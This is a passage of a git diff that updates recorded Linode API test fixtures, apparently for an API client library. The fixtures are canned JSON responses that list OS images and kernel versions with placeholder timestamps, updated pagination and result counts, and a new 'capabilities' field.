"2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "is_public": true, "vendor": "CentOS", "expiry": null, "eol": + "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/centos-stream8", + "label": "CentOS Stream 8", "deprecated": false, "size": 2600, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "is_public": true, "vendor": "CentOS", "expiry": null, "eol": + "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/centos-stream9", + "label": "CentOS Stream 9", "deprecated": false, "size": 1200, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "is_public": true, "vendor": "CentOS", "expiry": null, "eol": + "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/debian10", + "label": "Debian 10", "deprecated": false, "size": 1500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol": - "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/debian11-kube-v1.21.12", - "label": "Kubernetes 1.21.12 on Debian 11", "deprecated": false, "size": 3500, - "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": - "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": - "linode/debian9-kube-v1.22.2", "label": "Kubernetes 1.22.2 on Debian 9", "deprecated": - false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "description": "", "created_by": "linode", "type": "manual", "is_public": true, - "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": - "available"}, {"id": "linode/debian11-kube-v1.22.9", "label": "Kubernetes 1.22.9 - on Debian 11", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", + "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/debian11", + "label": "Debian 11", "deprecated": false, "size": 1300, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol": - "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/debian11-kube-v1.23.6", - "label": "Kubernetes 1.23.6 on Debian 11", "deprecated": false, "size": 3500, + "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/fedora36", + "label": "Fedora 36", "deprecated": false, "size": 1600, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "is_public": true, "vendor": "Fedora", "expiry": null, "eol": + "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/fedora37", + "label": "Fedora 37", "deprecated": false, "size": 1800, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "is_public": true, "vendor": "Fedora", "expiry": null, "eol": + "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/fedora38", + "label": "Fedora 38", "deprecated": false, "size": 1600, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "is_public": true, "vendor": "Fedora", "expiry": null, "eol": + "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/gentoo", + "label": "Gentoo", "deprecated": false, "size": 5500, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "is_public": true, "vendor": "Gentoo", "expiry": null, "eol": + null, "status": "available", "capabilities": []}, {"id": "linode/kali", "label": + "Kali Linux", "deprecated": false, "size": 1536, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "is_public": true, "vendor": "Kali", "expiry": null, "eol": + null, "status": "available", "capabilities": []}, {"id": "linode/debian11-kube-v1.24.8", + "label": "Kubernetes 1.24.8 on Debian 11", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": - "linode/opensuse15.3", "label": "openSUSE Leap 15.3", "deprecated": false, "size": - 1550, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": - "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "openSUSE", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": - "linode/opensuse15.4", "label": "openSUSE Leap 15.4", "deprecated": false, "size": - 1550, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": - "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "openSUSE", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": - "linode/rocky8", "label": "Rocky Linux 8", "deprecated": false, "size": 2300, - "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": - "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Rocky", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": - "linode/rocky9", "label": "Rocky Linux 9", "deprecated": false, "size": 2300, + "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": + []}, {"id": "linode/debian11-kube-v1.25.4", "label": "Kubernetes 1.25.4 on Debian + 11", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": + "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", + "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", + "status": "available", "capabilities": []}, {"id": "linode/debian11-kube-v1.26.1", + "label": "Kubernetes 1.26.1 on Debian 11", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": - "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Rocky", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": - "linode/slackware14.2", "label": "Slackware 14.2", "deprecated": false, "size": - 6000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": - "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Slackware", - "expiry": null, "eol": "1970-01-01T05:00:00", "status": "available"}, {"id": + "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", + "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": + []}, {"id": "linode/debian11-kube-v1.26.3", "label": "Kubernetes 1.26.3 on Debian + 11", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": + "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", + "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", + "status": "available", "capabilities": []}, {"id": "linode/opensuse15.4", "label": + "openSUSE Leap 15.4", "deprecated": false, "size": 1550, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "is_public": true, "vendor": "openSUSE", "expiry": null, "eol": + "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/rocky8", + "label": "Rocky Linux 8", "deprecated": false, "size": 2300, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "is_public": true, "vendor": "Rocky", "expiry": null, "eol": + "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/rocky9", + "label": "Rocky Linux 9", "deprecated": false, "size": 2300, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "is_public": true, "vendor": "Rocky", "expiry": null, "eol": + "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/slackware14.2", + "label": "Slackware 14.2", "deprecated": false, "size": 6000, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "is_public": true, "vendor": "Slackware", "expiry": null, + "eol": "1970-01-01T05:00:00", "status": "available", "capabilities": []}, {"id": "linode/slackware15.0", "label": "Slackware 15.0", "deprecated": false, "size": - 10000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": + 11000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Slackware", - "expiry": null, "eol": null, "status": "available"}, {"id": "linode/ubuntu16.04lts", - "label": "Ubuntu 16.04 LTS", "deprecated": false, "size": 2700, "created": "2018-01-02T03:04:05", + "expiry": null, "eol": null, "status": "available", "capabilities": []}, {"id": + "linode/ubuntu16.04lts", "label": "Ubuntu 16.04 LTS", "deprecated": false, "size": + 2700, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": + "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Ubuntu", + "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": + []}, {"id": "linode/ubuntu18.04", "label": "Ubuntu 18.04 LTS", "deprecated": + false, "size": 2700, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", + "description": "", "created_by": "linode", "type": "manual", "is_public": true, + "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": + "available", "capabilities": []}, {"id": "linode/ubuntu20.04", "label": "Ubuntu + 20.04 LTS", "deprecated": false, "size": 2000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": - "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/ubuntu18.04", - "label": "Ubuntu 18.04 LTS", "deprecated": false, "size": 2700, "created": "2018-01-02T03:04:05", + "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/ubuntu22.04", + "label": "Ubuntu 22.04 LTS", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": - "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/ubuntu20.04", - "label": "Ubuntu 20.04 LTS", "deprecated": false, "size": 2000, "created": "2018-01-02T03:04:05", + "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/ubuntu22.10", + "label": "Ubuntu 22.10", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": - "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/ubuntu22.04", - "label": "Ubuntu 22.04 LTS", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", + "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/ubuntu23.04", + "label": "Ubuntu 23.04", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": - "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/centos8", "label": - "CentOS 8", "deprecated": true, "size": 2300, "created": "2018-01-02T03:04:05", + "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/debian9", + "label": "Debian 9", "deprecated": true, "size": 1600, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", - "type": "manual", "is_public": true, "vendor": "CentOS", "expiry": null, "eol": - "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/slackware14.1", + "type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol": + "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/slackware14.1", "label": "Slackware 14.1", "deprecated": true, "size": 1000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": null, "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Slackware", "expiry": null, - "eol": null, "status": "available"}, {"id": "linode/ubuntu21.04", "label": "Ubuntu - 21.04", "deprecated": true, "size": 3500, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", - "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": - "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/ubuntu21.10", - "label": "Ubuntu 21.10", "deprecated": true, "size": 3500, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", - "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": - "2018-01-02T03:04:05", "status": "available"}], "results": 45, "page": 1}' + "eol": null, "status": "available", "capabilities": []}], "results": 36, "page": + 1}' headers: Access-Control-Allow-Credentials: - "true" diff --git a/test/integration/fixtures/ExampleListKernels_all.yaml b/test/integration/fixtures/ExampleListKernels_all.yaml index fbfb2bcb4..d2c5ee7a5 100644 --- a/test/integration/fixtures/ExampleListKernels_all.yaml +++ b/test/integration/fixtures/ExampleListKernels_all.yaml @@ -19,11 +19,31 @@ interactions: true, "built": "2018-01-02T03:04:05"}, {"id": "linode/latest-2.6", "label": "Latest 2.6 Stable (2.6.23.17-linode44)", "version": "2.6.24", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/latest-32bit", "label": "Latest 32 bit (5.19.2-x86-linode176)", - "version": "5.19.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": + {"id": "linode/latest-32bit", "label": "Latest 32 bit (6.1.10-x86-linode179)", + "version": "6.1.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-linode22", "label": "Latest Legacy (2.6.18.8-linode22)", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/6.2.9-x86_64-linode160", "label": "6.2.9-x86_64-linode160", "version": + "6.2.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": + false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.2.9-x86-linode180", + "label": "6.2.9-x86-linode180", "version": "6.2.9", "kvm": true, "architecture": + "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, + {"id": "linode/6.1.10-x86_64-linode159", "label": "6.1.10-x86_64-linode159", + "version": "6.1.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": + false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.1.10-x86-linode179", + "label": "6.1.10-x86-linode179", "version": "6.1.10", "kvm": true, "architecture": + "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, + {"id": "linode/6.0.10-x86_64-linode158", "label": "6.0.10-x86_64-linode158", + "version": "6.0.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": + false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.10-x86-linode178", + "label": "6.0.10-x86-linode178", "version": "6.0.10", "kvm": true, "architecture": + "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, + {"id": "linode/6.0.2-x86_64-linode157", "label": "6.0.2-x86_64-linode157", "version": + "6.0.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": + false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.2-x86-linode177", + "label": "6.0.2-x86-linode177", "version": "6.0.2", "kvm": true, "architecture": + "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.19.2-x86_64-linode156", "label": "5.19.2-x86_64-linode156", "version": "5.19.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.19.2-x86-linode176", @@ -242,27 +262,7 @@ interactions: "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.50-x86-linode105", "label": "4.9.50-x86-linode105", "version": "4.9.50", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": - true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.36-x86-linode104", - "label": "4.9.36-x86-linode104", "version": "4.9.36", "kvm": true, "architecture": - "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/4.9.33-x86-linode102", "label": "4.9.33-x86-linode102", "version": - "4.9.33", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": - true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.15-x86-linode100", - "label": "4.9.15-x86-linode100", "version": "4.9.15", "kvm": true, "architecture": - "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/4.9.7-x86-linode99", "label": "4.9.7-x86-linode99", "version": - "4.9.7", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, - "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.0-x86-linode98", "label": - "4.9.0-x86-linode98", "version": "4.9.0", "kvm": true, "architecture": "i386", - "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.6-x86-linode97", - "label": "4.8.6-x86-linode97", "version": "4.8.6", "kvm": true, "architecture": - "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/4.8.4-x86-linode96", "label": "4.8.4-x86-linode96", "version": - "4.8.4", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, - "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.3-x86-linode95", "label": - "4.8.3-x86-linode95", "version": "4.8.3", "kvm": true, "architecture": "i386", - "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}], "page": - 1, "pages": 4, "results": 314}' + true, "built": "2018-01-02T03:04:05"}], "page": 1, "pages": 4, "results": 322}' headers: Access-Control-Allow-Credentials: - "true" @@ -317,9 +317,28 @@ interactions: url: https://api.linode.com/v4beta/linode/kernels?page=2 method: GET response: - body: '{"data": [{"id": "linode/4.8.1-x86-linode94", "label": "4.8.1-x86-linode94", - "version": "4.8.1", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": - true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.7.3-x86-linode92", "label": + body: '{"data": [{"id": "linode/4.9.36-x86-linode104", "label": "4.9.36-x86-linode104", + "version": "4.9.36", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": + true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.33-x86-linode102", + "label": "4.9.33-x86-linode102", "version": "4.9.33", "kvm": true, "architecture": + "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/4.9.15-x86-linode100", "label": "4.9.15-x86-linode100", "version": + "4.9.15", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": + true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.7-x86-linode99", "label": + "4.9.7-x86-linode99", "version": "4.9.7", "kvm": true, "architecture": "i386", + "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.0-x86-linode98", + "label": "4.9.0-x86-linode98", "version": "4.9.0", "kvm": true, "architecture": + "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/4.8.6-x86-linode97", "label": "4.8.6-x86-linode97", "version": + "4.8.6", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, + "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.4-x86-linode96", "label": + "4.8.4-x86-linode96", "version": "4.8.4", "kvm": true, "architecture": "i386", + "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.3-x86-linode95", + "label": "4.8.3-x86-linode95", "version": "4.8.3", "kvm": true, "architecture": + "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/4.8.1-x86-linode94", "label": "4.8.1-x86-linode94", "version": + "4.8.1", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, + "built": "2018-01-02T03:04:05"}, {"id": "linode/4.7.3-x86-linode92", "label": "4.7.3-x86-linode92", "version": "4.7.3", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.7.0-x86-linode90", "label": "4.7.0-x86-linode90", "version": "4.7.0", "kvm": true, "architecture": @@ -510,8 +529,8 @@ interactions: true, "built": null}, {"id": "linode/latest-2.6-64bit", "label": "Latest 2.6 (2.6.39.1-x86_64-linode19)", "version": "2.6.39", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/latest-64bit", "label": "Latest 64 bit (5.19.2-x86_64-linode156)", - "version": "5.19.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": + {"id": "linode/latest-64bit", "label": "Latest 64 bit (6.1.10-x86_64-linode159)", + "version": "6.1.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-x86_64-linode10", "label": "Latest Legacy (2.6.18.8-x86_64-linode10)", "version": "2.6.18", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": true, "built": @@ -534,28 +553,8 @@ interactions: "5.2.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.17-x86_64-linode128", "label": "5.1.17-x86_64-linode128", "version": "5.1.17", "kvm": true, "architecture": - "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/5.1.11-x86_64-linode127", "label": "5.1.11-x86_64-linode127", - "version": "5.1.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": - true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.5-x86_64-linode126", - "label": "5.1.5-x86_64-linode126", "version": "5.1.5", "kvm": true, "architecture": - "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/4.14.120-x86_64-linode125", "label": "4.14.120-x86_64-linode125", - "version": "4.14.120", "kvm": true, "architecture": "x86_64", "pvops": true, - "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.2-x86_64-linode124", - "label": "5.1.2-x86_64-linode124", "version": "5.1.2", "kvm": true, "architecture": - "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/5.0.8-x86_64-linode123", "label": "5.0.8-x86_64-linode123", "version": - "5.0.8", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": - true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.0.1-x86_64-linode122", - "label": "5.0.1-x86_64-linode122", "version": "5.0.1", "kvm": true, "architecture": - "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/4.20.4-x86_64-linode121", "label": "4.20.4-x86_64-linode121", - "version": "4.20.4", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": - true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.19.8-x86_64-linode120", - "label": "4.19.8-x86_64-linode120", "version": "4.19.8", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}], - "page": 2, "pages": 4, "results": 314}' + "page": 2, "pages": 4, "results": 322}' headers: Access-Control-Allow-Credentials: - "true" @@ -610,7 +609,27 @@ interactions: url: https://api.linode.com/v4beta/linode/kernels?page=3 method: GET response: - body: '{"data": [{"id": "linode/4.19.5-x86_64-linode119", "label": "4.19.5-x86_64-linode119", + body: '{"data": [{"id": "linode/5.1.11-x86_64-linode127", "label": "5.1.11-x86_64-linode127", + "version": "5.1.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": + true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.5-x86_64-linode126", + "label": "5.1.5-x86_64-linode126", "version": "5.1.5", "kvm": true, "architecture": + "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/4.14.120-x86_64-linode125", "label": "4.14.120-x86_64-linode125", + "version": "4.14.120", "kvm": true, "architecture": "x86_64", "pvops": true, + "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.2-x86_64-linode124", + "label": "5.1.2-x86_64-linode124", "version": "5.1.2", "kvm": true, "architecture": + "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/5.0.8-x86_64-linode123", "label": "5.0.8-x86_64-linode123", "version": + "5.0.8", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": + true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.0.1-x86_64-linode122", + "label": "5.0.1-x86_64-linode122", "version": "5.0.1", "kvm": true, "architecture": + "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/4.20.4-x86_64-linode121", "label": "4.20.4-x86_64-linode121", + "version": "4.20.4", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": + true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.19.8-x86_64-linode120", + "label": "4.19.8-x86_64-linode120", "version": "4.19.8", "kvm": true, "architecture": + "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/4.19.5-x86_64-linode119", "label": "4.19.5-x86_64-linode119", "version": "4.19.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.18.16-x86_64-linode118", "label": "4.18.16-x86_64-linode118", "version": "4.18.16", "kvm": true, "architecture": @@ -839,28 +858,8 @@ interactions: "2.6.39", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.38-x86_64-linode17", "label": "2.6.38-x86_64-linode17", "version": "2.6.38", "kvm": false, "architecture": - "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/2.6.35.4-x86_64-linode16", "label": "2.6.35.4-x86_64-linode16", - "version": "2.6.35", "kvm": false, "architecture": "x86_64", "pvops": true, - "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32.12-x86_64-linode15", - "label": "2.6.32.12-x86_64-linode15", "version": "2.6.32", "kvm": false, "architecture": - "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/2.6.34-x86_64-linode13", "label": "2.6.34-x86_64-linode13", "version": - "2.6.34", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": - true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.34-x86_64-linode14", - "label": "2.6.34-x86_64-linode14", "version": "2.6.34", "kvm": false, "architecture": - "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/2.6.32.12-x86_64-linode12", "label": "2.6.32.12-x86_64-linode12", - "version": "2.6.32", "kvm": false, "architecture": "x86_64", "pvops": true, - "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32-x86_64-linode11", - "label": "2.6.32-x86_64-linode11", "version": "2.6.32", "kvm": false, "architecture": - "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/2.6.18.8-x86_64-linode10", "label": "2.6.18.8-x86_64-linode10", - "version": "2.6.18", "kvm": false, "architecture": "x86_64", "pvops": false, - "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.31.5-x86_64-linode9", - "label": "2.6.31.5-x86_64-linode9", "version": "2.6.31", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}], - "page": 3, "pages": 4, "results": 314}' + "page": 3, "pages": 4, "results": 322}' headers: Access-Control-Allow-Credentials: - "true" @@ -915,7 +914,27 @@ interactions: url: https://api.linode.com/v4beta/linode/kernels?page=4 method: GET response: - body: '{"data": [{"id": "linode/2.6.30.5-x86_64-linode8", "label": "2.6.30.5-x86_64-linode8", + body: '{"data": [{"id": "linode/2.6.35.4-x86_64-linode16", "label": "2.6.35.4-x86_64-linode16", + "version": "2.6.35", "kvm": false, "architecture": "x86_64", "pvops": true, + "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32.12-x86_64-linode15", + "label": "2.6.32.12-x86_64-linode15", "version": "2.6.32", "kvm": false, "architecture": + "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/2.6.34-x86_64-linode13", "label": "2.6.34-x86_64-linode13", "version": + "2.6.34", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": + true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.34-x86_64-linode14", + "label": "2.6.34-x86_64-linode14", "version": "2.6.34", "kvm": false, "architecture": + "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/2.6.32.12-x86_64-linode12", "label": "2.6.32.12-x86_64-linode12", + "version": "2.6.32", "kvm": false, "architecture": "x86_64", "pvops": true, + "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32-x86_64-linode11", + "label": "2.6.32-x86_64-linode11", "version": "2.6.32", "kvm": false, "architecture": + "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/2.6.18.8-x86_64-linode10", "label": "2.6.18.8-x86_64-linode10", + "version": "2.6.18", 